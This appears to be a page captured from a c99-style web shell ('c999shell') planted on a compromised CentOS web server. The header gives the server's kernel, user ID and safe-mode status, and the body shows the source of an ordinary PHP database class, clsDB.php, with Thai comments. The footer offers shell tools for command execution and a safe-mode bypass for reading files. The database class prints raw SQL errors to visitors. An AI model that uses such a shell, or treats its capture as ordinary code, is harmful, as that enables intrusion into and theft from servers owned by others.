Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/eoffice_b/class/ drwxr-xr-x |
Viewing file: clsDB.php (2.9 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | <?php class clsDB { var $c; var $rs; var $status; var $lastSql; var $rowPerPage; var $frRowNum; var $toRowNum; var $numRows; var $DB; function AddNew(){ $this->status = 1; } function Edit(){ $this->status = 2; } function Save(){ //--1 เป็นข้อมูลใหม่ 2 เป็นข้อมูลเดิม --Must Overrided } function Delete(){ //--ใช้เมธอดนี้เพื่อลบข้อมูลเดิมในอ๊อบเจ๊ก เป็นการลบข้อมูลทีละ 1 เรคอร์ด //--ต้องเรียกเมธอดตามลำดับดังนี้ SearchByKey()-->GetRecord()-->Delete() //--Must Overrided } function Close(){ return mysql_free_result($this->rs); } function SetQuery($query){ $this->lastSql=$query; mysql_select_db($this->DB); //echo "++".$this->DB; $this->rs= mysql_query($query); //$this->rs = //echo "///".$this->rs; if (!$this->rs){ die("<p align=center> <table align=center border=0 cellpadding=3 cellspacing=1 bgcolor=red> <tr align=center bgcolor=#ff9999><th>เกิดข้อผิดพลาด</th></tr> <tr align=center bgcolor=#ffffff><td>" . mysql_errno() . " : " . mysql_error() . "<br><br>$query</td></tr> </table> </p>"); } $this->numRows = $this->GetRowSelected(); return $this->rs; } function SetQueryPage($query){ mysql_select_db($this->DB); $this->rs= mysql_query($query); if (!$this->rs){ die("<p align=center> <table align=center border=0 cellpadding=3 cellspacing=1 bgcolor=red> <tr align=center bgcolor=#ff9999><th>เกิดข้อผิดพลาด</th></tr> <tr align=center bgcolor=#ffffff><td>" . mysql_errno() . " : " . mysql_error() . "<br><br>$query</td></tr> </table> </p>"); } return $this->rs; } function Dml($query){ mysql_select_db($this->DB); if (!mysql_query($query)){ die("<p align=center> <table align=center border=0 cellpadding=3 cellspacing=1 bgcolor=red> <tr align=center bgcolor=#ff9999><th>เกิดข้อผิดพลาด</th></tr> <tr align=center bgcolor=#ffffff><td>" . mysql_errno() . " : " . mysql_error() . "<br><br>$query</td></tr> </table> </p>"); } return mysql_affected_rows(); } function GetResult(){ if ($this->rs){ return mysql_fetch_array($this->rs); } return 0; } function GetRowSelected(){ return mysql_num_rows($this->rs); } function GetLastInsertID(){ return mysql_insert_id(); } function NumField(){ return mysql_num_fields($this->rs); } function numPages() { return ceil($this->numRows/$this->rowPerPage); } function gotoPage($pg=1){ if ($this->lastSql<>""){ $this->frRowNum=($pg-1)*$this->rowPerPage; $sql = $this->lastSql." limit $this->frRowNum, $this->rowPerPage"; $this->SetQueryPage($sql); }else{ die("<p align=center> <table align=center border=0 cellpadding=3 cellspacing=1 bgcolor=red> <tr align=center><th>เกิดข้อผิดพลาด</th></tr> <tr align=center><td><p align=center>ยังไม่ได้สร้างคำสั่ง Select</p></td></tr> </table> </p>"); } } } ?> |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0055 ]-- |